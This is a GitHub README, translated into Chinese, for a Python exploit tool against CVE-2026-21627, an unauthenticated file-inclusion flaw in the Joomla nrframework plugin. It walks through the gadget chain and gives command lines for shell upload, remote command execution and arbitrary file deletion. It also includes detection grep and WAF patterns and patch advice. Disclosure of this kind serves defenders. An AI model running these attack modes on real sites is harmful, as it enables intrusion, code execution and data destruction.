yallasec/CVE-2026-21627---Tassos-Novarain-Framework-plg_system_nrframework-Exploit---Joomla
GitHub: yallasec/CVE-2026-21627---Tassos-Novarain-Framework-plg_system_nrframework-Exploit---Joomla
针对Joomla Novarain Framework插件CVE-2026-21627未认证任意文件包含漏洞的Python利用工具,支持验证、上传、删除及RCE等多种攻击模式。
Stars: 0 | Forks: 0
# CVE-2026-21627
**Joomla Novarain Framework (nrframework) 中的未认证任意文件包含漏洞**
[](https://nvd.nist.gov/)
[](https://www.joomla.org/)
[](https://www.python.org/)
## 概述
**Tassos/Novarain Framework** (`plg_system_nrframework`) Joomla 插件中存在一个严重漏洞,允许未经认证的攻击者在服务器上包含任意 PHP 文件,实例化任意类,并结合内置的 gadget 类实现**任意文件上传**和**任意文件删除** —— 所有这些操作均无需身份验证。
| | |
|-|-|
| **CVE ID** | CVE-2026-21627 |
| **CVSS 评分** | 9.5 (严重) |
| **插件** | `plg_system_nrframework` (Tassos Framework / Novarain Framework) |
| **受影响版本** | 4.10.14 至 6.0.37 |
| **修复版本** | 6.0.38+ |
| **CMS** | Joomla 3.x, 4.x, 5.x |
nrframework 插件捆绑在 [Tassos.gr](https://tassos.gr) 的几个热门 Joomla 扩展中,包括 **Convert Forms**、**Engage Box**、**Google Structured Data** 等。
## 漏洞详情
`nrframework.php` 中的 `ajaxTaskInclude()` 方法通过 `$non_admin_tasks` 数组被显式列入白名单,允许前端(非管理后台)访问。它接受三个用户控制的参数:
- **`path`** — 使用 `RAW` 输入过滤器(零过滤,可能存在路径遍历)
- **`file`** — 使用默认的 Joomla 输入过滤器
- **`class`** — 包含后要实例化的类名
拼接后的路径 `$path . $file . '.php'` 被直接传递给 `@include_once`,从而实现任意 PHP 文件包含。包含完成后,指定的类会被实例化,并且其 `onAJAX()` 方法会被调用,且使用用户控制的参数。
### 攻击原语
| 原语 | Gadget | 严重程度 | 描述 |
|-----------|--------|----------|-------------|
| **文件包含** | `ajaxTaskInclude()` | 严重 | 包含服务器上的任何 `.php` 文件 |
| **文件删除** | `JFormFieldNRInlineFileUpload::onRemove()` | 严重 | 执行 `unlink()` 且无路径验证 —— 删除 Web 服务器可写入的任何文件 |
| **文件上传** | `JFormFieldNRInlineFileUpload::onUpload()` | 高 | 将文本文件上传到任何可写的 Web 可访问目录 |
| **路径泄露** | 上传响应 | 中 | JSON 响应中泄露完整的文件系统路径 |
## 用法
```
python3 cve_2026_21627.py --target --mode [OPTIONS]
```
### 模式
| 模式 | 描述 | 风险 |
|------|-------------|------|
| `verify` | 确认漏洞是否存在 | 安全 / 只读 |
| `upload` | 将文件上传到受控目录 | 中 |
| `delete` | 删除服务器上的任意文件 | **破坏性** |
| `rce` | 尝试完整的 RCE 链 (上传 + 执行) | 高 |
| `info` | 包含任意 PHP 文件以进行侦察 | 中 |
### 示例
**验证漏洞:**
```
python3 cve_2026_21627.py --target https://example.com --mode verify
```
**上传概念验证文件:**
```
python3 cve_2026_21627.py --target https://example.com --mode upload --shell-type txt
```
**上传 SSI shell(需要 Apache mod_include):**
```
python3 cve_2026_21627.py --target https://example.com --mode upload --shell-type shtml
```
**尝试 RCE 链:**
```
python3 cve_2026_21627.py --target https://example.com --mode rce --cmd "id"
```
**删除文件(破坏性):**
```
python3 cve_2026_21627.py --target https://example.com --mode delete --file-path /var/www/html/test.txt
```
### 选项
```
--target, -t Target URL (required)
--mode, -m Exploit mode: verify|upload|delete|rce|info (required)
--sef-prefix Joomla SEF URL prefix (default: /it/)
--delay Delay between requests in seconds (default: 2.5)
--proxy HTTP proxy (e.g. http://127.0.0.1:8080)
--no-ssl-verify Disable SSL certificate verification
Upload mode:
--shell-type File type: shtml|csv|txt|html (default: shtml)
--upload-dir Upload directory relative to JPATH_ROOT (default: images)
--custom-content Custom file content to upload
Delete mode:
--file-path Full server path of the file to delete
RCE mode:
--cmd Command to execute (default: id)
Info mode:
--php-path PHP file path relative to JPATH_SITE
--php-file PHP file name without .php extension
--php-class PHP class to instantiate
```
## 工作原理
```
┌──────────────┐ ┌───────────────────┐ ┌─────────────────────┐
│ Attacker │───>│ onAjaxNrframework │───>│ ajaxTaskInclude() │
│ │ │ (AJAX router) │ │ │
│ task=include │ │ include is in │ │ path = RAW input │
│ path=... │ │ $non_admin_tasks │ │ @include_once $path │
│ file=... │ │ (no auth needed) │ │ new $class()->onAJAX│
│ class=... │ └───────────────────┘ └──────────┬──────────┘
└──────────────┘ │
v
┌─────────────────────────────────────┐
│ JFormFieldNRInlineFileUpload │
│ (gadget class) │
│ │
│ onAjax() ──> onUpload() [WRITE] │
│ ──> onRemove() [DELETE] │
└─────────────────────────────────────┘
```
1. **Session & CSRF** — Joomla 会延迟创建会话。该漏洞利用通过探测 AJAX 端点触发会话创建,然后从主页 HTML 中提取 CSRF token。
2. **文件包含** — 使用受控的 `path`(RAW 过滤器 = 无过滤)调用 `include` 任务,指向 gadget 文件。
3. **Gadget 执行** — 被包含的 `JFormFieldNRInlineFileUpload` 类提供了用于文件写入的 `onUpload()` 和用于文件删除的 `onRemove()`,两者均缺乏充分的输入验证。
## 环境要求
- Python 3.7+
- `requests` 库
```
pip install requests
```
## 检测
监控访问日志以发现漏洞利用尝试:
```
# Apache/Nginx 日志模式
grep -E "option=com_ajax.*plugin=nrframework.*task=include" access.log
```
**WAF 规则** —— 阻止匹配以下内容的请求:
```
option=com_ajax.*plugin=nrframework.*task=include.*path=
```
**入侵后审计:**
- 检查 `images/` 及其他可写目录中是否存在意外文件
- 验证 `configuration.php` 和 `.htaccess` 的完整性
- 检查服务器错误日志中的 `@include_once` 警告
## 修复建议
1. 立即将 nrframework **更新**至版本 **6.0.38** 或更高版本
2. 该补丁完全移除了 `ajaxTaskInclude()`,并替换为严格的处理程序注册表 (`AjaxHandlerRegistry`)
## 时间线
| 日期 | 事件 |
|------|-------|
| 2026-02 | 在授权渗透测试中发现漏洞 |
| 2026-02 | 创建漏洞利用程序 |
| 2026-02 | 公开披露 |
## 免责声明
本工具仅供**授权安全测试和教育目的**使用。请仅在拥有明确书面许可的情况下对系统使用此漏洞利用程序。未经授权访问计算机系统是非法的。作者对滥用行为不承担任何责任。
## 作者
**Yallasec** — [yallasec.com](https://yallasec.com)
Arcangelo Saracino — [@arkango](https://github.com/arkango)
标签:AJAX漏洞, CISA项目, CMS安全, CVE-2026-21627, CVSS 9.5, JavaScript, Joomla漏洞, Novarain Framework, PHP安全, PHP文件包含, POC, RCE, Tassos Framework, Web安全, 任意文件包含, 插件漏洞, 文件上传, 文件删除, 未授权访问, 编程工具, 网络信息收集, 蓝队分析, 路径遍历, 远程代码执行, 高危漏洞